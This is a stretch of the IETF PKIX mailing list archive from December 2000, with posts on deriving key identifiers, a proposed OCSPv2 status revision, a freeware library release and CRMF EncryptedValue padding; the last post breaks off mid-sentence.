List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Hi.

At the very top of page 79, close to the end of section 6.3.3 "CRL 
Processing", there is an incomplete fragment of a sentence: "If the".

Regards

Mats Nilsson



From owner-ietf-pkix@imc.org  Tue Dec  5 10:51:08 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA21884
	for <pkix-archive@odin.ietf.org>; Tue, 5 Dec 2000 10:51:07 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA26039;
	Tue, 5 Dec 2000 07:47:39 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 5 Dec 2000 07:47:02 -0800
Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA25825
	for <ietf-pkix@imc.org>; Tue, 5 Dec 2000 07:47:00 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz (pgut001@kahu.cs.auckland.ac.nz [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id EAA21967; Wed, 6 Dec 2000 04:48:45 +1300 (NZDT) (sender pgut001@cs.auckland.ac.nz)
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9)
	id <97603133708646>; Wed, 6 Dec 2000 04:48:57 (NZDT)
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
To: ietf-pkix@imc.org, pki_wby_cn@sina.com
Subject: Re:  Who can help me?
Sender: pgut001@cs.auckland.ac.nz
Reply-To: pgut001@cs.auckland.ac.nz
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Wed, 6 Dec 2000 04:48:57 (NZDT)
Message-ID: <97603133708646@kahu.cs.auckland.ac.nz>
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

pki_wby_cn <pki_wby_cn@sina.com> writes:

>Please tell me why I cannot got the correct result ????????

This question should be in some sort of FAQ since it comes up every month or
so, it should also be added to son-of-2459... here's the reply I posted the
last time it came up:

-- Snip --

The keyIdentifier is supposed to be an explicit value, not something which is
implicitly generated according to some particular formula.  That is, you get
the key ID by reading out of the extension whatever value is present there, not
by hashing something and taking that as the key ID.

(I don't know what range of certs you've worked with, but eventually you're
 going to run into key ID's which contain 32-bit values, 64 bit values which
 don't follow RFC 2459, ASCII strings, and who knows what else, so assuming you
 can implicitly create them will lead to problems).

-- Snip --

Peter.



From owner-ietf-pkix@imc.org  Tue Dec  5 11:15:35 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA28420
	for <pkix-archive@odin.ietf.org>; Tue, 5 Dec 2000 11:15:35 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA28831;
	Tue, 5 Dec 2000 08:12:38 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 5 Dec 2000 08:12:31 -0800
Received: from SOTTMXS01.entrust.com (gatekeeper.entrust.com [204.101.128.170])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA28782
	for <ietf-pkix@imc.org>; Tue, 5 Dec 2000 08:12:28 -0800 (PST)
Received: by SOTTMXS01.entrust.com with Internet Mail Service (5.5.2650.21)
	id <YHQY0QBG>; Tue, 5 Dec 2000 11:14:40 -0500
Message-ID: <8D7EC1912E25D411A32100D0B769539727DF4B@scygmxs01.cygnacom.com>
From: Peter Hesse <pmhesse@cygnacom.com>
To: "'pki_wby_cn'" <pki_wby_cn@sina.com>, ietf-pkix@imc.org
Subject: RE: Who can help me?
Date: Tue, 5 Dec 2000 10:53:59 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C05ED3.94BBA610"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C05ED3.94BBA610
Content-Type: text/plain;
	charset="gb2312"

The methods you mention are only recommendations:  "Where a key identifier
has not been previously established, this specification recommends use of
one of these methods for generating keyIdentifiers."

The issuer can put anything in their subjectKeyIdentifier as long as it
matches all the authorityKeyIdentifiers that it creates.  You should never
attempt to calculate authorityKeyIdentifiers, only use the values that are
present in the certificates.

--Peter

---------------------------------------------------------------- 
Peter M. Hesse   pmhesse@cygnacom.com   http://www.cygnacom.com
      CygnaCom Solutions, An Entrust Technologies Company
      (703)270-3523(voice) (703)848-0960(fax) ICQ#1942828 
"Pay no attention to what the critics say; there has never been 
a statue set up in honor of a critic." --Jean Sibelius


-----Original Message-----
From: pki_wby_cn [mailto:pki_wby_cn@sina.com]
Sent: Tuesday, December 05, 2000 2:55 AM
To: ietf-pkix@imc.org
Subject: Who can help me?


hello, all:

In rfc2459, there are two methods to calculate authority key identifier:
(1) 160-bit SHA-1 hash of the value of the BIT STRING subjectPublicKey
    (excluding the tag,length,and number of unused bits)
(2) a four bit type field with the value 0100 followed by the least 
    significant 60 bits of SHA-1 hash of the value of the BIT STRING
    subjectPublicKey

Here is the public key of a thawte CA cert
(the attchment contain this public key) :
	3081 8902 8181 00B3 695A 
	97D4 D016 0B7A B5C5 5DE9 
	219C 2372 CD12 4C4B F77E 
	CFC7 FBCA 7224 F442 52AC 
	5795 E37B 617A 1784 E7FD 
	7239 3894 B4EA ED65 A792 
	065E BDE0 65F6 19BB 9479 
	764C 3EB9 6870 7584 1CF4 
	1174 00BC 052C 4F09 0317 
	31CC F441 D472 C6A6 5DE2 
	8844 B08B 2EC4 4DF1 F0D6 
	853E 6CF3 9594 7891 7E40 
	E99C D18D 1557 8EC2 73E5 
	30DE 46F5 4F02 0301 0001

In the user certificate, the authority key identifier is :
	88AB F160 8366 55F4 E458 C746 1DC0 61BD 23D7 C38C

I calculate according the first method, but got the result:
	4B7E E315 BBE3 2BEA 15C8 5F3C AB2E 3F36 880E 64A3
	~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Please tell me why I cannot got the correct result ????????
______________________________________


------_=_NextPart_001_01C05ED3.94BBA610
Content-Type: text/html;
	charset="gb2312"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dgb2312">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: Who can help me?</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>The methods you mention are only =
recommendations:&nbsp; &quot;Where a key identifier has not been =
previously established, this specification recommends use of one of =
these methods for generating keyIdentifiers.&quot;</FONT></P>

<P><FONT SIZE=3D2>The issuer can put anything in their =
subjectKeyIdentifier as long as it matches all the =
authorityKeyIdentifiers that it creates.&nbsp; You should never attempt =
to calculate authorityKeyIdentifiers, only use the values that are =
present in the certificates.</FONT></P>

<P><FONT SIZE=3D2>--Peter</FONT>
</P>

<P><FONT =
SIZE=3D2>---------------------------------------------------------------=
- </FONT>
<BR><FONT SIZE=3D2>Peter M. Hesse&nbsp;&nbsp; =
pmhesse@cygnacom.com&nbsp;&nbsp; <A HREF=3D"http://www.cygnacom.com" =
TARGET=3D"_blank">http://www.cygnacom.com</A></FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CygnaCom Solutions, =
An Entrust Technologies Company</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (703)270-3523(voice) =
(703)848-0960(fax) ICQ#1942828 </FONT>
<BR><FONT SIZE=3D2>&quot;Pay no attention to what the critics say; =
there has never been </FONT>
<BR><FONT SIZE=3D2>a statue set up in honor of a critic.&quot; --Jean =
Sibelius</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: pki_wby_cn [<A =
HREF=3D"mailto:pki_wby_cn@sina.com">mailto:pki_wby_cn@sina.com</A>]</FON=
T>
<BR><FONT SIZE=3D2>Sent: Tuesday, December 05, 2000 2:55 AM</FONT>
<BR><FONT SIZE=3D2>To: ietf-pkix@imc.org</FONT>
<BR><FONT SIZE=3D2>Subject: Who can help me?</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>hello, all:</FONT>
</P>

<P><FONT SIZE=3D2>In rfc2459, there are two methods to calculate =
authority key identifier:</FONT>
<BR><FONT SIZE=3D2>(1) 160-bit SHA-1 hash of the value of the BIT =
STRING subjectPublicKey</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; (excluding the tag,length,and =
number of unused bits)</FONT>
<BR><FONT SIZE=3D2>(2) a four bit type field with the value 0100 =
followed by the least </FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; significant 60 bits of SHA-1 hash =
of the value of the BIT STRING</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; subjectPublicKey</FONT>
</P>

<P><FONT SIZE=3D2>Here is the public key of a thawte CA cert</FONT>
<BR><FONT SIZE=3D2>(the attchment contain this public key) :</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>3081 8902 =
8181 00B3 695A </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>97D4 D016 =
0B7A B5C5 5DE9 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>219C 2372 =
CD12 4C4B F77E </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>CFC7 FBCA =
7224 F442 52AC </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>5795 E37B =
617A 1784 E7FD </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>7239 3894 =
B4EA ED65 A792 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>065E BDE0 =
65F6 19BB 9479 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>764C 3EB9 =
6870 7584 1CF4 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>1174 00BC =
052C 4F09 0317 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>31CC F441 =
D472 C6A6 5DE2 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>8844 B08B =
2EC4 4DF1 F0D6 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>853E 6CF3 =
9594 7891 7E40 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>E99C D18D =
1557 8EC2 73E5 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>30DE 46F5 =
4F02 0301 0001</FONT>
</P>

<P><FONT SIZE=3D2>In the user certificate, the authority key identifier =
is :</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>88AB F160 =
8366 55F4 E458 C746 1DC0 61BD 23D7 C38C</FONT>
</P>

<P><FONT SIZE=3D2>I calculate according the first method, but got the =
result:</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>4B7E E315 =
BBE3 2BEA 15C8 5F3C AB2E 3F36 880E 64A3</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</FONT>
</P>

<P><FONT SIZE=3D2>Please tell me why I cannot got the correct result =
????????</FONT>
<BR><FONT SIZE=3D2>______________________________________</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C05ED3.94BBA610--


From owner-ietf-pkix@imc.org  Tue Dec  5 11:31:26 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA02078
	for <pkix-archive@odin.ietf.org>; Tue, 5 Dec 2000 11:31:25 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA29964;
	Tue, 5 Dec 2000 08:27:15 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 5 Dec 2000 08:27:10 -0800
Received: from odin2.bull.net (odin2.bull.net [192.90.70.84])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA29927
	for <ietf-pkix@imc.org>; Tue, 5 Dec 2000 08:27:08 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223])
	by odin2.bull.net (8.9.3/8.9.3) with ESMTP id RAA62490;
	Tue, 5 Dec 2000 17:35:24 +0100
Received: from bull.net (frpq6118.frpq.bull.fr [129.184.8.64])
	by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id RAA14784;
	Tue, 5 Dec 2000 17:28:36 +0100
Message-ID: <3A2D17B5.B1321B8@bull.net>
Date: Tue, 05 Dec 2000 17:28:37 +0100
From: Denis Pinkas <Denis.Pinkas@bull.net>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: Michael Myers <MMyers@verisign.com>
CC: ietf-pkix@imc.org
Subject: Re: Proposed edits to OCSPv2 -01
References: <2F3EC696EAEED311BB2D009027C3F4F401C5BEC8@vhqpostal.verisign.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

Michael,

> Denis, all:
> 
> Here's a bit of a longish note proposing some edits to
> draft-ietf-pkix-ocspv2-01.txt that get us to -02 and last call.

I do not think we are ready for last call. :-(

> In summary:
> 
> 1. Change "good" to "not revoked"; add "valid", "invalid",
>    "suspended" and "expired" states; add corresponding semantic
>    and normative text.

I skimmed through your text and would need more time than I have now to
respond. The only point I can say at this time, is that the change from
"good to "not revoked" is fine, but than I do not agree to introduce more
than the two other states that are presently defined in v1. "suspended" =
"revoked", with a secondary status information saying that it is temporary.
Remember that from a CRL point of view, there are only two status: revoked,
not revoked. Suspended is a refinement of revoked. OCSP v1 makes the
assumption that anyway the requester will have to get the certificate, so it
is able to know by looking directly at the certificate whether it is
"expired". This status is not needed. Then what would be the difference
between "not revoked" and "valid" ? Instead of fixing the problem, it
becomes worse. :-(

The major problem we will need to discuss next week, at San Diego, is the
use of an EXTENSION. 

If I understand your view, the status reflects the combination of all
queries, while in my view, the current status reflects the status about the
revocation status query only, status related to additional queries passed in
the extensions, come back in the extensions.

Would you now *PLEASE* respond to the following question (already raised
four times):

" Extensions allows to request new services. The request for each every new
service may fail or succeed. This means that each extension will have to
carry the result of the request for the new service. This also means that
the current status will only carry the response to a *status revocation
request*, but will not carry any additional meaning. 

The real advantage to add DPV and DPD to OCSP is to be able to support
both a revocation status request and DPV or DPV+DPD in a single request. 
It should however be noticed that (...) the server may well return a 
"revocation status unknown" response, but still respond to a DPD 
(Delegated Path Discovery) for the certificate." 
 
Since PKIX starts on Tuesday afternoon, let us have a corridor discussion
before, e.g. on Monday.

Denis

> 2. Add unsupportedOption and unrecognizedIdentifer to error cases.
> 
> 3. Add normative text regarding the use of CRLs.
> 
> In the case of the "good" vs. "not revoked" revision, the bits on the wire
> don't change, nor is there any essential change in semantics.  In effect,
> all that's changing is the abstract symbol.  The only hit might be to
> environments that are using "good" to mean "valid" in the delegated path
> validation sense.  I doubt anyone's doing that, but if you are and this
> change hits you, please let us know.  Otherwise, all you're going to have is
> some source that uses "good" as a compile-time symbol  while the new
> standard says "not revoked" but once the compile is done the corresponding
> ASN.1 value [0] doesn't change anyway so interoperability is preserved; nor
> are there any fundamental semantic changes.  Also, the new values will go on
> the end of the end of the CertStatus choice with tag numbers > [2] so
> there's no hit there either for v1 environments.  Same for the new error
> conditions, which are only v2-relevant.
> 
> One other thing.  Many environments use a sequence of "revoked" and "not
> revoked" to achieve a suspension effect.  Those who do so should take care
> to read and comment on the new text "2.8 Use of CRLs" located at the end of
> this note, especially given the proposal for a unique "suspended" response
> value.
> 
> With regards to all,
> 
> Mike
> 
> 2.2  Response
> -------------
> CURRENT -01 TEXT
>    OCSP responses can be of various types.  An OCSP response consists of
>    a response type and the bytes of the actual response. There is one
>    basic type of OCSP response that MUST be supported by all OCSP
>    servers and clients. The rest of this section pertains only to this
>    basic response type.
> 
> PROPOSED -02 TEXT
>    OCSP responses can be of various types, corresponding to various
>    services.  An OCSP response consists of a response type and the
>    bytes of the actual response. This document defines one standard
>    response syntax, BasicOCSPResponse, and one standard service,
>    id-pkix-ocsp-basic (see Section 4.2.1).
> 
>    The BasicOCSPResponse syntax MAY be used for other OCSP services
>    not defined in this document.  However, the id-pkix-ocsp-basic
>    service identifier SHALL only be used to report on the revocation
>    status of a certificate (i.e. "revocation service").
> 
>    OCSP servers SHALL be capable of supporting revocation service.
>    Environments that deploy OCSP for services other than revocation
>    service are NOT required to activate the revocation service feature
>    of their OCSP servers.
> 
> CURRENT -01 TEXT
>    A basic response message is composed of:
> 
> PROPOSED -02 TEXT
>    The BasicOCSPResponse syntax is composed of:
> 
> CURRENT -01 TEXT
>    This specification defines the following definitive response
>    indicators for use in the certificate status value:
> 
>    -- good
>    -- revoked
>    -- unknown
> 
>    The "good" state indicates a positive response to the status inquiry.
>    When used in in a basic response, this positive response value indicates
>    that the responder has current revocation information from the CA tha
>    issued the certificate and that the certificate is not revoked, but does
>    not necessarily mean that the certificate was ever issued or that the
> time
>    at which the response was produced is within the certificate's validity
>    interval. Other response types or response extensions may be used to
> convey
>    additional information on assertions made by the responder regarding the
>    status of the certificate such as positive statement about issuance,
> validity, etc.
> 
>    The "revoked" state indicates that the certificate has been revoked
>    (either permanantly or temporarily (on hold)).
> 
>    The "unknown" state indicates that the responder doesn't know about
>    the certificate being requested.
> 
> PROPOSED -02 TEXT
>    This specification defines the following definitive status
>    values for use in BasicOCSPResponse:
> 
>    -- not revoked
>    -- revoked
>    -- unknown
>    -- valid
>    -- invalid
>    -- suspended
>    -- expired
> 
>    The "not revoked" value SHALL be used to indicate that the responder
>    has current revocation information from the CA that issued the
>    certificate and that that information indicates that the certificate
>    is not revoked. The "not revoked" value MAY be returned for a previously
>    revoked certificate that has expired as defined below.
> 
>    The "revoked" value SHALL be used to indicate that the revocation
>    information currently available to the responder identifies the
>    certificate as in that state.  The "not revoked" value MAY be returned
>    for a previously revoked certificate that has expired as defined below.
>    The "revoked" value MAY be returned for a previously-revoked certificate
>    whose notAfter validity field has expired as defined below.
> 
>    The "unknown" value SHALL be used to indicate that the responder does
>    not recognize the certificate as being among those for which it is
>    authoritative.  When used in conjunction with id-pkix-ocsp-basic,
>    "unknown" SHALL be interpreted as revocation status unknown.
> 
>    The "valid" value SHALL be used to indicate that the certificate
>    at a minimum satisifes the path validation logic defined in RFC 2459.
>    Correspondingly, the "invalid" value SHALL be used to indicate that
>    the certificate at a minimum fails to satisfy RFC 2459 path validation
>    rules.  Environments with a need to use these values MAY define service
>    identifiers(i.e. OIDS) that uniquely identify the full set of practices
>    and policies undertaken to confirm a certificate's validity within their
>    environment.  Such practices and policies MAY include an assessment of
>    the certificate's suitability for a given purpose or function in excess
>    of the required compliance to RFC2459 path validation rules.
> 
>    The "valid" and "invalid" values SHALL NOT be returned in a
>    id-pkix-ocsp-basic response.
> 
>    The "suspended" value SHALL be used to indicate that the responder
>    has current information from the CA named in the certificate indicating
>    that the certificate is suspended but not yet permanently revoked.
>    OCSP responders MAY use a well-ordered sequence of "revoked" and
>    "not revoked" responses to achieve the same effect.  The "suspended"
>    value MAY be returned for certificate that has expired as defined below.
> 
>    The "expired" value SHALL be used to indicate that the responder has
>    confirmed on the basis of its (the responder's) time base that the
>    notAfter value in the certificate's Validity field is less than the
>    current time as indicated by the responder's time base. Requirements
>    governing the reliability of a responder's time base is beyond the
>    scope of this specification.
> 
> 2.3  Exception Cases
> --------------------
> CURRENT -01 TEXT
>    -- malformedRequest
>    -- internalError
>    -- tryLater
>    -- sigRequired
>    -- unauthorized
>    -- noMoreData
> 
> PROPOSED -02 TEXT
>    -- malformedRequest
>    -- internalError
>    -- tryLater
>    -- sigRequired
>    -- unauthorized
>    -- noMoreData
>    -- unsupportedOption
>    -- unrecognizedIdentifier
> 
>    "unsupportedOption" indicates that the responder recognizes
>    the syntax of the request but does not support or is not being
>    operated to support one or more service options specified in
>    the request.  If the request is v1, the responder SHALL return
>    "malformedRequest" rather than "unsupportedOption".
> 
>    "unrecognizedIdentifier" indicates that the responder cannot
>    identify the certificate using the certificate identifier supplied
>    in the request.  If the request is v1, the responder SHALL return
>    "malformedRequest" rather than "unrecognizedIdentifier".
> 
> CURRENT -01 TEXT
>    A server produces the "malformedRequest" response if the request
>    received does not conform to the OCSP syntax.
>                                     ^^^^
> 
> PROPOSED -02 TEXT
>    A server produces the "malformedRequest" response if the request
>    received does not conform to the required syntax.
>                                     ^^^^^^^^
> 
> 2.5  Response Pre-production
> CURRENT -01 TEXT
>    The time at or before which newer information will be available
>    is reflected in the nextUpdate field, while the time at which
>    ^^^^^^^^^^^^
>    the response was produced will appear in the producedAt field
>                              ^^^^
>    of the response.
> 
> PROPOSED -02 TEXT
>    The time at or before which newer information will be available
>    SHALL appear in the nextUpdate field, while the time at which
>    ^^^^^^^^^^^^
>    the response was produced SHALL appear in the producedAt field
>                              ^^^^^
>    of the response.
> 
> 2.6  OCSP Signature Authority Delegation
> ----------------------------------------
> CURRENT -01 TEXT
>    A certificate's issuer explicitly delegates OCSP signing authority
>                           ^^^^^^^^^^         ^
> 
> PROPOSED -02 TEXT
>    A certificate's issuer MAY explicitly delegate OCSP signing authority
>                           ^^^
> 
> 2.8  Use of CRLs  (new section)
> PROPOSED -02 TEXT
> 
>    An id-pkix-ocsp-basic response MAY be produced using a data source other
>    than CRLs.  Environments providing both id-pkix-ocsp-basic service and
>    CRL maintenance service SHOULD ensure that both are synchronized with
>    respect to the values of "revoked" and "not revoked" for certificates
>    that are simultaneously subject to both services.  Such environments
>    MAY exclude from the corresponding CRL certificates for which the value
>    of "suspended" would be returned in their id-pkix-ocsp-basic service.
> 
>    [Notes to reviewers of this new section.  The essential issues are these:
> 
>       1. OCSP does not now nor ever has *required* the use of CRLs although
>          the practice is known to be useful in some environments.  This
>          clearly needs to be better spelled out since it continues to come
> up.
> 
>       2. Where CRLs *are* relevant, a degree of synchronicity is vital.  A
>          situation where, for example, there exists a "not revoked" OCSP
>          response in the presence of a CRL listing a certificate is clearly
>          a bad thing (or a good thing if you're a lawyer representing a
>          party seeking remedy.)
> 
>       3. Suspension is a PITA with CRLs but easy with OCSP.  Since OCSP
> revocation
>          service isn't intrinsically linked to CRLs, we need to ensure that
> we
>          avoid creating a situation where the only reason to implement
> CRL-based
>          suspension is to deliver "suspended" responses.  If that situation
> were
>          to obtain, it's a sure bet there'd be very few if any "suspended"
>          responses being exchanged across the Internet.  We'd all be back to
>          the revoked/not revoked hack.]


From owner-ietf-pkix@imc.org  Tue Dec  5 14:32:06 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA23910
	for <pkix-archive@odin.ietf.org>; Tue, 5 Dec 2000 14:32:05 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id LAA14798;
	Tue, 5 Dec 2000 11:26:36 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 5 Dec 2000 11:26:17 -0800
Received: from wfhqex05.gfgsi.com (netva01.wangfed.com [206.137.100.2])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA14707;
	Tue, 5 Dec 2000 11:26:16 -0800 (PST)
Received: by wfhqex05.gfgsi.com with Internet Mail Service (5.5.2650.21)
	id <WY8B6QHD>; Tue, 5 Dec 2000 14:27:47 -0500
Message-ID: <4B0D36365AD3D2118FF40060972A16C0019B19DB@wfhqex01.wangfed.com>
From: "Pawling, John" <John.Pawling@GetronicsGov.com>
To: "Pawling, John" <John.Pawling@GetronicsGov.com>
Subject: SFL/CML/ACL/SNACC Freeware Available *NEW CML RELEASE*
Date: Tue, 5 Dec 2000 14:27:50 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

All,

The freeware Certificate Management Library (CML), S/MIME Freeware Library
(SFL), Access Control Library (ACL), Enhanced SNACC ASN.1 freeware and
Cryptographic Token Interface Libraries (CTIL) developed by Getronics
Government Solutions are now available from the following web pages:

SFL and CTILs: <http://www.getronicsgov.com/hot/sfl_home.htm>

CML: <http://www.getronicsgov.com/hot/cml_home.htm>

ACL: <http://www.getronicsgov.com/hot/acl_home.htm>

Enhanced SNACC ASN.1 Freeware:
<http://www.getronicsgov.com/hot/snacc_home.htm>

**NEW CML RELEASE**: The CML files available from
<http://www.getronicsgov.com/hot/cml_home.htm> are a new release.  The v1.81
CML release fixes bugs in the v1.8 CML as documented in the v1.8 CML Problem
Report file.  

With the exception of the CML files, there are no significant differences
between the files available from the Getronics Government Solutions web
pages and those that were formerly available from the Fortezza Developers
Web Site <ww.armadillo.huntsville.al.us>.

We welcome all feedback regarding these freeware security libraries.

===========================================
John Pawling, John.Pawling@GetronicsGov.com
Getronics Government Solutions, LLC
===========================================



From owner-ietf-pkix@imc.org  Wed Dec  6 15:36:01 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA11678
	for <pkix-archive@odin.ietf.org>; Wed, 6 Dec 2000 15:36:00 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA04929;
	Wed, 6 Dec 2000 12:32:49 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Wed, 6 Dec 2000 12:30:39 -0800
Received: from mail.phaos.com ([206.30.74.234])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA04703
	for <ietf-pkix@imc.org>; Wed, 6 Dec 2000 12:30:38 -0800 (PST)
Received: from phaos_arik (ruskie.spacerat.com [207.51.38.135])
	by mail.phaos.com (8.9.2/8.9.2) with ESMTP id TAA59266
	for <ietf-pkix@imc.org>; Wed, 6 Dec 2000 19:25:59 -0500 (EST)
	(envelope-from arik@phaos.com)
Message-Id: <4.2.0.58.20001206152915.00bf2300@mail.phaos.com>
X-Sender: arik@mail.phaos.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Wed, 06 Dec 2000 15:40:18 -0500
To: ietf-pkix@imc.org
From: Ari Kermaier <arik@phaos.com>
Subject: CRMF EncryptedValue
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

It seems to me that the EncryptedValue structure defined in CRMF (used in 
POPOPrivKey and PKIArchiveOptions) may be incompletely specified.

The syntax from draft-ietf-pkix-rfc2511bis-00 Section 6.4 is:

EncryptedValue ::= SEQUENCE {
       intendedAlg   [0] AlgorithmIdentifier  OPTIONAL,
       -- the intended algorithm for which the value will be used
       symmAlg       [1] AlgorithmIdentifier  OPTIONAL,
       -- the symmetric algorithm used to encrypt the value
       encSymmKey    [2] BIT STRING           OPTIONAL,
       -- the (encrypted) symmetric key used to encrypt the value
       keyAlg        [3] AlgorithmIdentifier  OPTIONAL,
       -- algorithm used to encrypt the symmetric key
       valueHint     [4] OCTET STRING         OPTIONAL,
       -- a brief description or identifier of the encValue content
       -- (may be meaningful only to the sending entity, and used only
       -- if EncryptedValue might be re-examined by the sending entity
       -- in the future)
         encValue       BIT STRING }

How does the recipient of such a structure know what block padding scheme 
may (or may not) have been used with the symmetric encryption algorithm? 
CMS, for example, specifies mechanisms whereby this information is conveyed 
